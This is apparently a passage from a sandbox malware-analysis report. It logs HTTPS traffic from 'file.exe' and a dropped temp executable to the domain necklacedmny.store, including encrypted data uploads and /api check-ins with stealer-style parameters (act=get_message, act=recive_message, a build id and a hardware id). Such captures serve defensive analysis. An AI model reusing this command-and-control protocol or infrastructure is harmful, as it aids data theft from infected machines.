2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 67 be 3f f0 39 f6 f4 8c 90 79 c1 87 b3 26 94 37 a4 e2 ec e2 fa fb cf d8 3e 2f 02 7b 3f 5d 18 39 bd f1 e1 43 8d 6e 9d 8c 64 74 f8 02 cc b8 1e ed 2e 45 b5 eb 9e eb 3d 25 8d 59 d3 83 e3 46 79 53 ee 57 8e c5 83 a5 1f 37 66 b9 5b fb fb c3 56 cb 34 bf 3d 3b 7d 97 22 2e bc 63 cb 01 38 ee 50 10 f3 12 4c b4 8a d2 68 fb ea 63 a4 a9 55 38 70 2f 26 48 f1 be 6c 69 0d 74 3b 50 da fb 33 92 46 5e 39 98 f1 8a 52 b2 67 57 a1 5f 83 a1 9a 7d ce 59 01 8f 77 e8 ca 2e 92 70 9f cc 2d 3d fe 6c 3b 22 d7 5b 5c a3 2b 8e 65 74 69 ad 45 50 b1 9b 1c 18 96 84 95 49 4a a9 55 ad d3 07 3a 54 51 c6 85 33 51 31 a6 83 e3 a6 e5 fc 2f ab 32 df 61 bb 8c 6d 3d 78 94 13 ea 7c 92 89 6f 77 e5 ee 14 c2 fe 75 cf 00 9b 91 3f 2f a1 ce 11 53 bf 8d 9b c4 19 7a f8 57 29 d3 66 1f 51 df 3a 2f fe bd 7c ad e9 Data Ascii: g?9y&7>/{?]9Cndt.E=%YFySW7f[V4=;}".c8PLhcU8p/&Hlit;P3F^9RgW_}Yw.p-=l;"[\+etiEPIJU:TQ3Q1/2am=x\|owu?/SzW)fQ:/\|
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: b7 51 48 7f ab b7 b7 fd 7b 5a dc d4 e8 61 5e 46 b0 05 cf d8 5e 91 11 88 01 31 8f 97 64 b5 af 28 00 85 af 41 2f fd 37 22 0b ee 55 f0 2d 4d 15 8d bb ed 43 c3 0f 7f 38 2b 43 4c 0d 3c 50 c7 fc 7f a7 87 5f 43 44 18 89 99 87 38 64 d3 57 78 10 05 42 3d f2 16 30 3a fa 2e 27 7c 36 d1 b7 3c 6c 76 75 e2 9f d5 f8 7d e0 00 6f 9c 44 84 3b 64 bd 50 7a c9 0b 62 64 3f 01 95 a7 b7 d7 68 ef 57 64 12 31 cd 59 73 f9 b3 ec 64 1d 90 92 da ad cf 39 5c e7 2c c2 3e dc f8 16 17 12 36 6a 22 f9 c2 36 29 64 1f aa e7 0d da 07 a0 34 de 7a 40 b5 1f 62 c2 02 36 7e 89 3b b4 af 7b 5c 06 2b ef b3 a5 40 f4 fb 03 d1 73 9a b9 2f e9 f9 b4 c1 22 33 d7 c6 33 86 cc 75 23 0f aa 25 c9 45 21 93 98 c7 bb e9 23 17 b2 f2 5b 6e 6e 48 e1 d0 80 3c 93 78 b0 24 6b b4 2c 91 4a f0 a5 06 62 7f ab 64 17 e4 e9 e1 Data Ascii: QH{Za^F^1d(A/7"U-MC8+CL<P_CD8dWxB=0:.'\|6<lvu}oD;dPzbd?hWd1Ysd9\,>6j"6)d4z@b6~;{\+@s/"33u#%E!#[nnH<x$k,Jbd
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 74 48 db 7c 5d 60 24 b9 97 ff e0 6d 68 ed c9 ee be 71 12 89 de bf d4 8d 2c 5a 2a 89 4e 62 28 28 12 61 62 f4 87 91 f9 a0 12 e4 ab 66 54 e6 9e ee 15 32 33 dc e8 b9 c9 c7 7d 65 d3 35 dc e6 d4 ba 3f 11 84 58 a7 a0 19 7b 59 75 9d b0 c4 ca 99 3a 44 59 88 35 12 a6 44 fa 54 40 b4 be 64 73 19 c4 0b e6 e5 61 ab 2f 61 e3 98 8b 01 29 fd 01 d4 5f b0 71 d9 82 a7 71 4a 92 6d 44 86 ba 48 e1 71 a6 ed 92 7d 53 f2 4f 82 9a ff dc f8 c3 3c 72 7a 61 11 37 a0 cf 79 cc a8 58 31 05 d8 f6 5e 57 c4 39 21 3a 23 cf 38 4f 85 75 b7 14 f2 f2 4c 41 4a 23 e1 a4 55 be 75 cf f7 fa 3b 12 56 af b2 93 af 55 f6 07 ff 30 9c 45 05 dc ef 2b 67 5a 3c af 9c 10 9a 42 c1 8a 40 32 10 d3 08 81 d4 59 46 be 3d fd b4 b8 81 69 17 44 af f9 38 b8 3e 85 a2 6c 7c da 77 5a 61 4f 76 e9 c4 df 23 a5 16 49 8d 64 75 Data Ascii: tH\|]`$mhq,Z*Nb((abfT23}e5?X{Yu:DY5DT@dsa/a)_qqJmDHq}SO<rza7yX1^W9!:#8OuLAJ#Uu;VU0E+gZ<B@2YF=iD8>l\|wZaOv#Idu
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 36 78 78 7f 86 39 25 70 7d de 84 5f 54 5c 7f 0f c3 ae 2e c3 32 c4 4b 55 0b ca a8 8d 52 67 3f 9f 73 8a 3c 88 bd 7e ed 5a ff e4 35 8d 03 77 c5 81 df 2d 6a fd 5a 16 59 b5 15 35 c5 39 7f 62 0c d7 81 1b b3 6a cf 78 04 33 36 47 1d b7 ce 65 9e c5 31 ff e7 09 68 02 d2 21 8d 5b c7 45 38 b7 37 66 bf 4d b6 78 dc e4 f6 08 3f 90 fc 58 4e f6 87 46 00 a1 08 c8 83 f2 7c 1d 1c 01 10 bc 18 b1 22 68 ce da 25 03 d0 70 81 f1 40 00 38 e6 94 89 a3 61 6f e7 c5 7f b8 fd 75 4e 89 d3 73 93 a3 9b 5f ed 37 d7 ed c3 cb 9e fd 86 58 9a a7 33 ba 77 e6 72 47 3f 99 76 bf 3c 04 f4 5f 48 ec 01 53 e2 78 3d d5 0b 9f b1 14 f7 ee 68 fb 11 0f 95 e6 c5 d9 2c 37 c7 1c a1 9b 52 ee bd 11 0e 75 e1 a3 9f 3c 25 1e ad 45 b4 4f 1d cb d7 bc fc 6c db 9c a1 71 15 f3 4f b9 d0 9b 7b c0 46 86 94 7a 14 74 f0 63 Data Ascii: 6xx9%p}_T\.2KURg?s<~Z5w-jZY59bjx36Ge1h![E87fMx?XNF\|"h%p@8aouNs_7X3wrG?v<_HSx=h,7Ru<%EOlqO{Fztc
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: a6 6e 01 d2 83 2d 9d 96 c1 e1 14 6a 45 cb f6 8d da 16 a2 01 e4 b9 ed 21 a9 35 4c a3 81 2a eb d7 51 72 39 b0 3f 80 c1 db ea f1 29 81 a3 a5 60 bf 7b 9b 0e 50 6b ca 46 c0 19 01 ea e0 f5 67 ab 6a c5 55 75 b1 4f 5c 0f 2e 2a b8 17 77 a2 24 4d 83 6d 1d d5 4f 9d 42 7c 62 b4 96 b3 d6 72 53 8b 1e 12 a3 a8 12 3a d1 2f 2b a6 16 6c 62 c8 0d bc 59 b9 a6 03 ae fb b9 af 05 f6 81 c3 f0 a6 f2 ab f8 d1 2b 9b 5e d8 bf df ae 82 8f 87 a4 e6 88 f0 d7 5d 99 5e 01 43 28 bc ef 8f 11 51 5d 89 71 ce 85 9e 71 e7 28 38 32 b8 ed 67 89 67 33 29 85 16 ec bb f4 27 c0 0c c4 33 25 f4 6e bb 65 04 fc fd 26 17 36 20 ec 62 82 04 1f 7d 51 b6 d3 c0 b7 85 e4 cd bc 3e d3 65 80 90 16 3d 4f ce fa e1 0c 9b a5 d6 6e fd 3b aa 3b ae 95 ff 6b 39 db b3 ca 77 ad 87 87 6c 8f 1b 71 5b 94 ce b7 50 c9 7a 58 65 Data Ascii: n-jE!5LQr9?)`{PkFgjUuO\.w$MmOB\|brS:/+lbY+^]^C(Q]qq(82gg3)'3%ne&6 b}Q>e=On;;k9wlq[PzXe
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 81 83 27 05 b2 30 c3 17 df 4c 4b 96 04 75 aa 20 74 cc f6 eb 2d 7e 59 f0 b0 b3 c1 26 a8 19 b9 ad 5a e0 bb 6f 7c 90 07 63 da 81 ba 43 56 4f 43 12 0e 74 b4 9c 98 54 63 13 97 eb 58 d4 ea 0b e3 1c be ad df 49 85 ca b9 05 37 99 d6 b7 e3 98 47 0a da 22 6a fc b2 11 f1 7b 55 a1 e7 58 d0 bd ef a3 61 0a a0 fc b4 24 bd 95 06 fe f6 1b fb 17 77 29 7d d8 e6 9d fe 32 8a c0 e3 c3 f7 8f 27 b7 85 6f 9b 2a 1a 95 94 1c de 78 e4 ea 4d 82 6b 8d 8b 7f 7a 29 f2 0f fe 70 b6 d6 04 46 b0 fa 5c ec b1 4f 9c 53 06 86 5a 4d 02 63 4d f4 6f 9a ba 91 d3 f7 74 75 90 65 51 9a bb cf 01 78 64 77 fb 3a 77 11 ea 09 4a 25 c2 54 51 5e 68 13 e4 af 98 d8 ab 1f 10 de 9e 5d 7e 98 56 75 06 04 9e 2a bc e1 46 54 78 7a 51 ad bf 04 e4 6b 2c 07 7f 49 ff 28 41 96 45 2a 58 2d 07 1c 07 e4 84 47 43 1f 77 33 0e Data Ascii: '0LKu t-~Y&Zo\|cCVOCtTcXI7G"j{UXa$w)}2'oxMkz)pF\OSZMcMotueQxdw:wJ%TQ^h]~VuFTxzQk,I(AE*X-GCw3
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 1a 93 e9 42 82 65 82 60 bc d0 43 22 76 22 16 21 0a 10 82 88 bf a6 f7 d7 6e b0 12 d2 ad 46 ab cb 1f 06 e6 b7 08 b4 87 e3 5b b0 67 31 04 25 ae 1a f0 e3 21 58 92 c4 58 ef 46 ad 64 69 e2 62 ef fb e2 b8 0a 3f 7e 8e f4 40 d0 e7 c1 fc 19 8a 45 a9 e4 8e 2f 41 fd b6 19 8a 07 c3 b1 79 55 f5 6e ea 60 ac 70 31 f5 ce c2 ad ab 64 d5 0d f7 81 30 5f ec ad 07 da a8 a2 0b 76 03 54 83 25 cd 5d 7e 1c 6f 4d ba fc 68 f9 de fc 4c 92 b5 1b b8 75 72 20 3c 32 6a 4a f5 72 64 60 c3 57 f8 0f 8f dc b7 cd 3f e3 96 5c d4 1e d3 ff 4a f8 d2 34 d7 7c ad cf f2 ba 21 a4 4c 47 05 47 06 8b a5 2b 5e e5 79 fb b2 da 43 58 70 41 eb c7 4c e3 73 18 0e 8e 5d bc 88 3f 96 40 48 0e f5 65 15 48 45 ce 5b 13 a4 52 9f be c4 97 02 ef 0f a7 1d 11 86 29 4a 0d 89 14 91 99 df 0b f1 51 ca 27 5b aa 1c 60 5f 99 a1 Data Ascii: Be`C"v"!nF[g1%!XXFdib?~@E/AyUn`p1d0_vT%]~oMhLur <2jJrd`W?\J4\|!LGG+^yCXpALs]?@HeHE[R)JQ'[`_
2024-11-01 07:50:11 UTC	15331	OUT	Data Raw: 96 56 8e f0 7b 9b 36 58 c8 54 6a 9a 92 35 9e 6a 51 69 99 7b f5 69 cc 5c 96 5a e0 d5 f2 23 a0 6c 2a a3 a4 fc bb 92 ee e7 ef d5 ba 51 cf 69 be 18 1d 9c 69 db c1 10 7b 18 86 69 a5 d1 ca f9 7a 18 8a a3 2f b3 40 29 71 1a c0 76 b6 94 58 3f 03 c8 66 71 b8 bd 9f 54 8c b1 fd 81 52 9f a6 fc dd 0b ce 42 cb ef 96 ac 94 08 4c 7a 86 db e8 67 99 d1 a2 47 8e b9 c2 cb c3 41 12 11 94 16 c5 ce 3f ab 85 1a f4 48 5a c4 ba 5b 76 70 2b 82 04 0c fc d8 8b a9 06 00 5a 65 8c 8d 1a 82 cd 49 c4 59 ae f9 e0 79 4f 0b 52 7c 18 8b 54 5b 18 2d f3 db ba ae b6 90 1e 4b 7f b8 d0 da 82 3c 51 b6 d5 fe c7 ed de e1 52 c5 f8 fd 62 fe 63 b9 c6 f6 53 a7 75 f8 ac 5f d1 3b f7 73 ab 08 fd fe 5f 07 f0 15 57 fb 6d 21 82 1c ec 90 ed 8b db 38 d3 bb 95 14 a7 c7 5c 24 fa ce 3d 21 52 e6 7e 71 3e fb a4 6d 51 Data Ascii: V{6XTj5jQi{i\Z#l*Qii{iz/@)qvX?fqTRBLzgGA?HZ[vp+ZeIYyOR\|T[-K<QRbcSu_;s_Wm!8\$=!R~q>mQ
2024-11-01 07:50:15 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3dm4orr2u9q6q2dmkapuqpuebs; expires=Tue, 25-Feb-2025 01:36:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cFTEeKMbAEPrqbuiubOv%2BOx78kQLc8%2FFcU4YhzBi5VQLNus86IWyWl8%2F%2FefHVvbIBQ3vIun2N9qXIGSyBHiIP2PUDoNXq%2BwZzb0ZmTJXkuDuL2roFc2vcH%2FRnO5xufVH5orw73g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ae2bfd2e93e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=202&recv=581&lost=0&retrans=0&sent_bytes=2844&recv_bytes=552362&delivery_rate=2026592&cwnd=244&unsent_bytes=0&cid=67669880e7eba405&ts=3510&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 07:50:15 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=7144220E77620ADDE7796FA464A20147
2024-11-01 07:50:16 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=atf7aav06jvekas3kfhmt2p6ur; expires=Tue, 25-Feb-2025 01:36:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5akK0b0dMVK5k1x6n3DKL%2F1gZ5%2BWk%2FKri0kgacnk5gom1EyQOA1XL1M6nbPKqjizTzmLfBCcixh1bo0tzs1jBYRc2%2BuTwhYeUsh6egsT2lcikRbaeOeorQ%2FcZE5lFK%2BRIHtaPXU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4afca9114674-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1582513&cwnd=239&unsent_bytes=0&cid=23c03c7804ab7cd9&ts=515&x=0"
2024-11-01 07:50:16 UTC	214	IN	Data Raw: 64 30 0d 0a 31 38 4b 4e 73 32 55 6e 68 49 68 69 6b 78 35 42 33 6e 50 2f 61 4a 63 4b 37 5a 57 67 66 73 30 69 6e 4b 67 42 62 5a 46 51 4a 4f 79 4d 75 61 2f 47 52 78 32 6d 34 42 62 6e 62 6e 75 43 58 4b 4e 48 70 6a 4c 59 75 35 4a 50 2b 41 79 74 6d 54 4a 44 6f 47 5a 34 77 37 69 6b 36 2b 39 4b 51 2b 48 75 54 50 5a 6d 4a 50 78 66 33 51 37 6a 4b 4e 65 6c 6a 46 79 6f 41 4b 61 59 66 45 48 71 63 6c 48 4f 37 65 44 6c 78 78 46 58 76 74 52 4e 7a 7a 46 77 35 6b 62 52 57 71 59 2f 77 36 53 52 54 65 4d 54 71 76 51 75 41 50 67 2b 51 62 44 34 73 4f 7a 64 41 55 6a 70 70 67 66 72 65 32 50 79 55 5a 6b 63 74 54 44 64 75 59 49 62 37 78 69 73 31 56 77 3d 0d 0a Data Ascii: d018KNs2UnhIhikx5B3nP/aJcK7ZWgfs0inKgBbZFQJOyMua/GRx2m4BbnbnuCXKNHpjLYu5JP+AytmTJDoGZ4w7ik6+9KQ+HuTPZmJPxf3Q7jKNeljFyoAKaYfEHqclHO7eDlxxFXvtRNzzFw5kbRWqY/w6SRTeMTqvQuAPg+QbD4sOzdAUjppgfre2PyUZkctTDduYIb7xis1Vw=
2024-11-01 07:50:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	57770	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 07:51:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 07:51:31 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4t37ktti4fvejofgjspngnuv9c; expires=Tue, 25-Feb-2025 01:38:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0UyH9hpH8wfNnfju9Vm3MdoY5ErrdB%2FiBVaHtpxZqhqcG0VaBS%2BAPvZVExCdlhuzgPymCDMh0HiawCzPMWPqEAgAWQ9b3BWyf1Qxpal6%2FiAY1w7%2BqRbq6jvCCRNJKkPUjNOvzbo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ccedba32cc0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1362&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=f7a936766e5e7c3b&ts=769&x=0"
2024-11-01 07:51:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 07:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	57778	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 07:51:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 07:51:32 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9edj07c5ctmgv9l2csdlsuknt; expires=Tue, 25-Feb-2025 01:38:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aSVhuF6I%2FudL9jPjknnCxKde7YV65x89hAGXPhC%2FTwG6kQBsUHR%2BZusSmuhJ1C1qK3X%2BI1ruKD%2BmixdyBQT2vpfkLB1yja%2Ft6W4nNgMr13wCUHwgkMndxfCOQj0mXZQP2w5wtVE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4cda8fa4e5fa-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1301&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2492254&cwnd=238&unsent_bytes=0&cid=fd596eb4219a5d0d&ts=682&x=0"
2024-11-01 07:51:32 UTC	350	IN	Data Raw: 34 64 38 0d 0a 39 35 2f 52 58 79 6c 31 35 4c 66 75 6c 52 34 47 69 44 51 43 55 43 79 38 51 65 4b 77 74 63 67 37 68 39 4e 55 62 6d 66 57 46 57 53 4d 76 61 64 39 45 30 48 49 6c 5a 33 77 50 44 7a 38 52 6e 63 31 41 4a 34 67 68 70 4b 50 72 6c 72 72 6f 44 46 43 52 61 42 34 52 73 33 35 73 44 4e 61 45 4d 69 56 69 2b 30 38 50 4e 4e 50 49 44 56 43 6e 6e 76 41 31 64 2b 71 57 75 75 78 4e 51 55 49 70 6e 6b 48 6e 2f 4f 32 4e 30 77 57 67 4e 61 43 2b 48 74 6a 37 56 56 6f 50 6b 58 52 4b 59 2b 53 6d 65 70 65 2f 66 46 75 54 43 71 7a 59 51 57 36 2f 71 49 30 43 77 6a 49 7a 4d 7a 77 63 43 53 79 46 6d 4d 31 54 74 41 6e 68 74 76 64 6f 46 50 6a 73 44 41 45 46 37 39 7a 44 4a 2f 39 74 54 5a 47 48 35 54 62 69 50 39 77 5a 65 64 56 49 48 77 4f 32 54 76 41 69 70 66 35 61 2b 61 67 4a 78 Data Ascii: 4d895/RXyl15LfulR4GiDQCUCy8QeKwtcg7h9NUbmfWFWSMvad9E0HIlZ3wPDz8Rnc1AJ4ghpKPrlrroDFCRaB4Rs35sDNaEMiVi+08PNNPIDVCnnvA1d+qWuuxNQUIpnkHn/O2N0wWgNaC+Htj7VVoPkXRKY+Smepe/fFuTCqzYQW6/qI0CwjIzMzwcCSyFmM1TtAnhtvdoFPjsDAEF79zDJ/9tTZGH5TbiP9wZedVIHwO2TvAipf5a+agJx
2024-11-01 07:51:32 UTC	897	IN	Data Raw: 54 4e 4b 47 6f 62 48 68 50 78 33 59 66 68 64 61 54 39 44 33 69 36 4b 33 64 53 71 58 75 2b 37 4f 51 59 42 75 58 6f 41 6c 66 33 7a 63 77 73 51 6e 70 58 55 74 31 39 68 2b 6c 46 73 4a 41 7a 6b 59 35 2b 63 7a 75 70 65 36 66 46 75 54 41 32 78 64 41 57 65 38 72 41 31 51 41 57 47 78 34 72 36 65 58 62 73 55 32 34 34 54 63 77 70 6a 74 54 55 6f 31 4c 73 74 44 45 49 52 66 6f 33 41 59 32 39 36 33 31 71 47 6f 33 5a 68 75 42 38 4a 50 55 59 65 58 4a 4a 30 6d 50 59 6b 74 4f 72 58 65 53 31 4f 41 49 42 75 48 45 49 6d 50 4b 31 4e 30 73 51 6a 4e 32 45 39 6e 46 76 35 56 5a 6c 50 30 72 59 4c 34 48 58 6c 2b 51 5a 34 71 6c 32 56 45 57 61 63 41 57 48 76 34 59 2b 52 52 6d 42 77 38 7a 6f 4d 6e 32 71 55 57 78 79 46 70 34 74 68 64 33 46 71 30 76 67 76 79 51 41 41 4c 4a 36 42 5a 76 39 Data Ascii: TNKGobHhPx3YfhdaT9D3i6K3dSqXu+7OQYBuXoAlf3zcwsQnpXUt19h+lFsJAzkY5+czupe6fFuTA2xdAWe8rA1QAWGx4r6eXbsU244TcwpjtTUo1LstDEIRfo3AY29631qGo3ZhuB8JPUYeXJJ0mPYktOrXeS1OAIBuHEImPK1N0sQjN2E9nFv5VZlP0rYL4HXl+QZ4ql2VEWacAWHv4Y+RRmBw8zoMn2qUWxyFp4thd3Fq0vgvyQAALJ6BZv9
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 73 44 6c 50 47 6f 6e 63 68 66 35 75 62 75 5a 59 63 6a 39 45 32 79 32 4d 31 39 69 71 57 4f 53 2f 50 41 64 46 2b 6a 63 42 6a 62 33 72 66 57 51 61 6c 73 65 47 2f 47 30 6d 33 31 56 75 50 45 6e 49 59 35 2b 63 7a 75 70 65 36 66 46 75 54 41 36 79 65 77 71 56 2b 36 45 7a 52 41 57 4d 78 34 6a 35 65 47 6a 6b 58 32 30 39 53 38 77 6e 67 4d 44 57 72 31 37 72 76 43 51 4a 52 66 6f 33 41 59 32 39 36 33 31 78 49 34 48 46 6e 66 41 2b 55 65 6c 59 62 6a 56 59 6e 6a 7a 4f 79 35 65 74 56 61 58 70 64 67 38 4a 75 58 34 44 6d 75 2b 35 4d 55 6f 46 67 64 79 46 2f 58 31 71 35 56 31 73 4e 31 7a 56 4c 49 6a 64 31 71 64 55 37 72 55 32 54 45 76 30 63 42 37 56 70 66 4d 63 52 68 69 55 31 70 32 31 53 57 66 6b 57 47 63 6b 44 73 46 74 6d 5a 4c 51 70 68 6d 39 38 54 63 41 43 Data Ascii: 3f94sDlPGonchf5ubuZYcj9E2y2M19iqWOS/PAdF+jcBjb3rfWQalseG/G0m31VuPEnIY5+czupe6fFuTA6yewqV+6EzRAWMx4j5eGjkX209S8wngMDWr17rvCQJRfo3AY29631xI4HFnfA+UelYbjVYnjzOy5etVaXpdg8JuX4Dmu+5MUoFgdyF/X1q5V1sN1zVLIjd1qdU7rU2TEv0cB7VpfMcRhiU1p21SWfkWGckDsFtmZLQphm98TcAC
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 5a 39 72 51 32 51 42 4f 43 31 59 48 38 63 6d 72 6a 57 6d 67 2b 53 63 77 75 68 64 72 64 6f 31 7a 70 76 44 55 65 42 72 55 33 53 4e 58 36 71 33 30 54 56 36 48 6d 75 39 51 38 65 36 52 50 49 44 56 43 6e 6e 76 41 30 39 2b 74 56 2b 47 6a 4f 42 34 4c 73 33 63 41 6e 66 57 30 4d 55 55 5a 6c 4e 32 4e 39 33 4a 72 34 6c 39 6b 4d 30 72 61 4c 34 65 53 6d 65 70 65 2f 66 46 75 54 43 32 33 62 52 7a 58 30 37 67 39 54 41 65 51 7a 73 7a 6f 4d 6e 32 71 55 57 78 79 46 70 34 6e 69 39 6a 65 71 56 44 68 76 44 59 46 43 72 31 2f 43 35 33 76 73 6a 64 5a 45 34 50 55 67 2f 31 34 62 4f 5a 5a 62 44 5a 63 31 57 50 4f 6b 74 43 79 47 62 33 78 46 67 63 54 6c 32 55 55 31 65 4c 39 4a 41 73 51 69 70 58 55 74 33 56 6f 36 31 64 71 4e 45 58 62 4c 6f 44 58 33 61 31 56 35 62 45 31 43 67 4f 35 66 77 Data Ascii: Z9rQ2QBOC1YH8cmrjWmg+Scwuhdrdo1zpvDUeBrU3SNX6q30TV6Hmu9Q8e6RPIDVCnnvA09+tV+GjOB4Ls3cAnfW0MUUZlN2N93Jr4l9kM0raL4eSmepe/fFuTC23bRzX07g9TAeQzszoMn2qUWxyFp4ni9jeqVDhvDYFCr1/C53vsjdZE4PUg/14bOZZbDZc1WPOktCyGb3xFgcTl2UU1eL9JAsQipXUt3Vo61dqNEXbLoDX3a1V5bE1CgO5fw
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 50 55 51 53 6a 74 36 4b 2b 58 31 69 35 6c 73 67 66 41 37 5a 4f 38 43 4b 6c 34 31 44 36 4c 63 68 48 54 43 7a 64 31 66 56 34 76 30 6b 43 78 43 4b 6c 64 53 33 63 57 6a 67 57 32 55 32 52 74 6b 67 67 64 37 54 70 31 54 68 75 44 49 4a 46 36 5a 78 43 4a 58 79 76 54 4a 48 42 59 6a 51 6a 50 73 38 4b 71 70 52 65 48 49 57 6e 68 4b 58 30 70 65 31 46 2f 7a 78 4d 51 42 46 37 44 63 4a 6d 4f 2b 2f 4d 6b 73 57 68 64 47 48 38 48 70 69 36 31 56 6c 4d 55 76 59 49 6f 44 65 33 61 31 52 37 37 38 37 43 67 47 79 63 55 62 62 76 62 51 6c 43 30 2f 47 35 34 48 35 64 57 66 73 57 33 59 61 66 35 34 38 7a 73 75 58 72 56 57 6c 36 58 59 49 44 72 78 37 41 35 33 34 73 6a 56 42 48 34 6e 61 6e 76 5a 7a 62 65 31 64 62 54 31 41 32 79 32 53 31 64 79 68 55 65 79 2f 4d 45 78 4c 39 48 41 65 31 61 58 Data Ascii: 